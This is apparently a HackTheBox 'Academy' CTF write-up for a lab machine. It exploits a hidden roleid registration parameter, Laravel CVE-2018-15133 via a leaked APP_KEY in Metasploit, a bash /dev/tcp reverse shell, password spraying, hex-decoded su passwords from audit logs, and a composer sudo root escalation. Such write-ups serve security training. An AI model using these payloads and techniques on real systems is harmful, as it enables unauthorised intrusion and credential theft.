HTB Academy CTF Writeup
Easy-rated Linux box. A hidden role parameter in a Laravel registration form grants admin access via IDOR. CVE-2018-15133 PHP deserialization RCE via a leaked APP_KEY achieves a shell. Sudo access to Composer with a GTFOBins technique escalates to root.
HTB Academy CTF
Summary
Academy is a Linux machine on HackTheBox. Nmap reveals SSH, HTTP, and a MySQL-related service. The web app on port 80 offers registration, and intercepting the signup request in Burp reveals a hidden roleid parameter — changing it from 0 to 1 grants admin access. The admin dashboard discloses a dev subdomain (dev-staging-01.academy.htb) running Laravel, which throws a 500 error page leaking the APP_KEY and database credentials. This enables exploitation of CVE-2018-15133, a PHP deserialization RCE via a crafted XSRF token, yielding a shell as www-data. A Laravel .env file leaks a password that, when sprayed across system users, grants SSH access as cry0l1t3. This user is in the adm group, providing access to audit logs where a TTY-logged su password (hex-encoded) is recovered for user mrb3n. Finally, mrb3n can run composer as root via sudo, and a known GTFOBins technique escalates to a root shell.
Service Enumeration
I ran
1
nmap -A -vv -oN scans/nmap.all -p- --min-rate 2000 10.129.6.161
And got the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c090a3d835256ffa3306cf8013a0a553 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/0BA3dU0ygKCvP7G3GklCeOqxb17vxMCsugN05RA9Fhj7AzkPiMLrrKRY656gBuscH23utAWAhRXzV1SyU37bbFzEbfaqYAlh1ggHEuluLgbf9QsYZe76zCx2SRPOzoI9Q40klVvuu9E92pNLe80dvUZj644EwhJTGw4KGxeOqeuo/nXnYfiNAbWvOe9Qp+djDbEvP5lHwIDMTAtgggoSC1chubC3jFC4hihuYjtitjUr4+5fROomhJAo/GEvdBj2CYNHIFEvmuvb32cgul5ENQS4fJXpcI7fbP9/+b/cfA9oRxG2k+k1M8mUld2h5mHEVBE5Z9WKS3cRYu97oVKnRRCoDY/55mZw6lngIdH4drpYwzCrZcCWgviXRfCeOwmZ8sucap6qN/nFYnPoF7fd+LGaQOhz9MkAZCTMmLqSiZGSistAIPzHtABH0VQDbo2TqJ+kGWr9/EamCcYBbVVPaFj/XQqujoEjLYW+igihwrPEQ7zxlleQHwg91oSVy38=
| 256 2ad54bd046f0edc93c8df65dabae7796 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAIMsz8qKL1UCyrPmpM5iTmoy3cOsk+4L7oFdcPjBXwAcUVvnti7nXHlNqMfgsapbGSIl7AWTOeXLZmw2J6JWvE=
| 256 e16414c3cc51b23ba628a7b1ae5f4535 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBP1E2rWeTShvyJKxC5Brv1Do3OwvWIzlZHWVw/bD0R
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Hack The Box Academy
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
33060/tcp open mysqlx? syn-ack
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.93%I=7%D=11/18%Time=691C5854%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Server Enumeration
The web page on port 80 redirects me to
1
http://academy.htb/
So I add it to my /etc/hosts file:
1
10.129.7.155 academy.htb
It offers me the opportunity to log in and to register:
I create an account named “hacker”:
I use the credentials to log in and am presented with the dashboard for HTB academy (http://academy.htb/home.php)
However despite my username being “hacker”, I see it shows as if I’m “egre55”. I try interacting with the platform, but it seems broken. Nothing really works here.
Directory Bruteforce
I start enumerating for valid directories on the web server with gobuster. I run the command:
1
gobuster dir -u http://academy.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 15 -x php -o scans/gobuster.initial
And it yields me the following results:
It points me to a valid /admin.php page:
However, as you can see, the admin page prompts me for authentication (even though I’m supposedly already authenticated as my user “hacker”). I try using the same credentials there but it didn’t work. I also tried SQL injection here, but it also didn’t work.
Hidden Register Parameter
I launched Burpsuite to start intercepting requests/responses. I go to target > scope and add the proper scope (academy.htb, including subdomains):
I hit “yes” for the next pane.
I go back to registering an account at http://academy.htb/register.php, but this time listening with burp. I notice a hidden parameter (roleid) for the registration:
I send the request to Burp Repeater with ctrl + R, and I edit the request to change the “roleid” parameter from 0 to 1. My account with username “hacker5” has been created with the altered parameter:
I head to the admin page to test if I can log in, and sure enough, I can. I get presented with the following dashboard:
It informs me about a dev subdomain:
1
dev-staging-01.academy.htb
So I add it to my /etc/hosts file:
1
10.129.7.155 academy.htb dev-staging-01.academy.htb
Laravel Remote Code Execution
I access the dev subdomain and am presented with a 500 error page right away:
This error page tells me quite a few information about the machine. First, now I know this dev subdomain is using PHP laravel
Laravel is a free, open-source PHP framework designed for building web applications using the model-view-controller (MVC) architectural pattern. It provides developers with tools and resources to create, deploy, and manage scalable web applications efficiently.
There are plenty of resources online for Laravel exploration. Second, if I scroll down the error page, I can see critical information like mysql database login credentials and the key for the laravel application (APP_KEY):
Reading through one article from HackTricks, I can see having access to the APP_KEY is problematic:
It seems like I can craft a exploit for a deseralization attack on Laravel. More specifically, a CVE from 2018 (CVE-2018-15133). There are plenty of resources available online for this.
I fire up metasploit, search for “laravel” and find the exploit:
1
6 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution
I set the proper config options:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
app_key => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf exploit(unix/http/laravel_token_unserialize_exec) > set lhost tun0
lhost => 10.10.14.57
msf exploit(unix/http/laravel_token_unserialize_exec) > set rhosts 10.129.7.155
rhosts => 10.129.7.155
msf exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb
vhost => dev-staging-01.academy.htb
msf exploit(unix/http/laravel_token_unserialize_exec) > set proxies http:127.0.0.1:8080
proxies => http:127.0.0.1:8080
msf exploit(unix/http/laravel_token_unserialize_exec) > run
[-] 10.129.7.155:80 - Exploit failed: RuntimeError TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour.
[*] Exploit completed, but no session was created.
msf exploit(unix/http/laravel_token_unserialize_exec) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf exploit(unix/http/laravel_token_unserialize_exec) > run
Immediately I get a connection back as www-data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[*] Command shell session 2 opened (10.10.14.57:4444 -> 10.129.7.155:34344) at 2025-11-19 02:26:26 -0300
id
ifconfig
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.7.155 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 fe80::250:56ff:feb0:116f prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb0:116f prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b0:11:6f txqueuelen 1000 (Ethernet)
RX packets 65800 bytes 4604269 (4.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 14344 bytes 7294850 (7.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 28651 bytes 2254005 (2.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 28651 bytes 2254005 (2.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Taking a look at the exploit
The request for the exploit to the server looks like this:
1
2
3
4
5
6
7
POST /index.php HTTP/1.1
Host: dev-staging-01.academy.htb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0
X-XSRF-TOKEN: eyJpdiI6Iit0ZVBcL3p6RzhWQkhDUjBHbGJtUjBnPT0iLCJ2YWx1ZSI6IjBnSmdaZytwaVVWdFNwajJzSjN3MWJqcHArR2NnXC9MbzFKQkdHNHF3ZXdxa2Z3dzVGcm5sN3FzZlwvKzUwbWVZRnVXZG1Nak9yTGphUk0xM09aMmducGxaQ3d4ekhpWVloQm9CVHIxWEtEaUlOVEo5anZrcTJTY3FoRmw0NmNHS1U3VFhKR3Y0Z1JGQkU3N2ZwMVJYTDZQamw3b0lmbk1iRmtCTGFSOEZkMDVPNHdOSlJISVZ4dDRSeTBkVTdIZTBwNXQxK25YeGd5amk5UG95N1BmOGJPS0ZuYkhENmNsTDY2MmkraVN4RVIrTlJZSzZiSEFNaXhcLzBleDNxUUJjcmlhMFVjQVdtc0x2VWo4MXFSMEM3UytEQWQ5VFY2OGN3MkkxMGNPOEhWdTc3TDFDd3BaTDBSY0lmanJveThFTEU2VHoyaFRRRG0yTGRTRnJkcEJyczlCWVlkUE9JNVMyK2ttY1wvUWptdmtcL3VKUmlpeStxek4wd0FnSCtzSFZ1UyswRVBPTjUreXMxTGlkRkNDekx3SURMbUR6d2hrOWxmWWdTcHZlaDRNWnRMdFZqYWdibjcwQTBTSWd3OHdSd2N2Z2M2RkhGdk9URmFpbG1iNVl6MXpDTUd0U2xITWNRaXlmb2FzTnA5Y1p3djlPWXV5WncxZkxwNit4clhVXC9KSG10TzIzNHFibDF3WFwvTEIxZW5CcEVzMUtOSjI3Zk9DbTMrbzNubzVyYk13N1wva05ob2RPUENzM1pGZkNZWGxVSmtGM1k1SEVDaG1ITnFPd3BnWkhOMTRKeWVIVVFLTzgzSW9yQk5FR0F5YUEyMEpYQ0k3QTFKaTVvb0p3MGEyQm8zWk02bzVOdTA0dTJaTjZRZUVPMENMbnNFY3VcL1hQZDNoZ2hXamErdkx0dSs2RHdRVzFSWUhFXC9NSUZmam4zcVY3MXo5TEJpQmg2amJcL2N0MFF4ZGQzeGg2Y2tGaUJsdXh1R0pJYk1hb29PNWxwQkF4R1NXRzJETUtJdTBQT1M3SGRFRUYrSjZ6THQrYkNSNzdocHB1dFZRNDgwUTRiZTN5aUlhU3NYRjVsNFRkaWtGcjA1dzhHNUViUWR4TDRxek1Yb1pKRERGNmQrMlNTVUhzQ2g4K1VGbncxdW9KbzN4STB0TG1qNmVGUE90NWM9IiwibWFjIjoiMzBjMDZlOWI4NTRhOGIzMzdhOTM3MDllODAwYjNkY2Y0N2IyYmYwMGJhMDdmODNiZGMwMjc5ZTcwYzIyZGZhNCJ9
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: keep-alive
The X-XSRF-TOKEN contains a big serialized blob that will do the magic for us.
Horizontal Privilege Escalation - cry0l1t3
To get a better shell on the box, I use this payload:
1
bash -c 'bash -i >& /dev/tcp/10.10.14.57/9999 0>&1'
And receive the connection with my netcat:
1
nc -lvnp 9999
The environment file for one of the websites leaks a password (mySup3rP4s5w0rd!!):
I create a quick list with all the users present in /home:
1
2
3
4
5
6
21y4d
ch4p
cry0l1t3
egre55
g0blin
mrb3n
I use netexec to spray this password and it almost immediately gives me a positive result:
1
2
3
4
5
$ nxc ssh academy.htb -u users.txt -p 'mySup3rP4s5w0rd!!'
SSH 10.129.7.155 22 academy.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1
SSH 10.129.7.155 22 academy.htb [-] 21y4d:mySup3rP4s5w0rd!!
SSH 10.129.7.155 22 academy.htb [-] ch4p:mySup3rP4s5w0rd!!
SSH 10.129.7.155 22 academy.htb [+] cry0l1t3:mySup3rP4s5w0rd!! Linux - Shell access!
I can log in to the machin with the credentials:
1
2
Username: cry0l1t3
Password: mySup3rP4s5w0rd!!
Horizontal Privilege Escalation - mrb3en
First thing I do in my ssh session as cry0l1t3 is to get a better shell:
1
2
$ /bin/bash -i
cry0l1t3@academy:~$
I notice the user has membership in the adm group:
1
2
cry0l1t3@academy:~$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
That means I have access to some logs:
1
2
3
4
5
6
7
8
9
cry0l1t3@academy:~$ find / -group adm 2>/dev/null
/var/spool/rsyslog
/var/log/auth.log.3.gz
/var/log/dmesg.1.gz
/var/log/syslog.2.gz
/var/log/kern.log.3.gz
/var/log/syslog.6.gz
[SNIP]
I ran linpeas to enumerate it further, and it found the following matches:
1
2
3
4
5
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
I convert it back to ASCII:
1
2
3
$ echo -n 6D7262336E5F41634064336D79210A | xxd -r -p
mrb3n_Ac@d3my!
With this password I can log in to the machine via SSH as mrb3n
Vertical Privilege Escalation
I can use “composer” as root:
1
2
3
4
5
6
7
8
mrb3n@academy:~$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
GTFObins has en entry for composer specifically to SUDO:
I use the commands outlined in the post to get root:
1
2
3
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
As you can see from the screenshot below, it works:















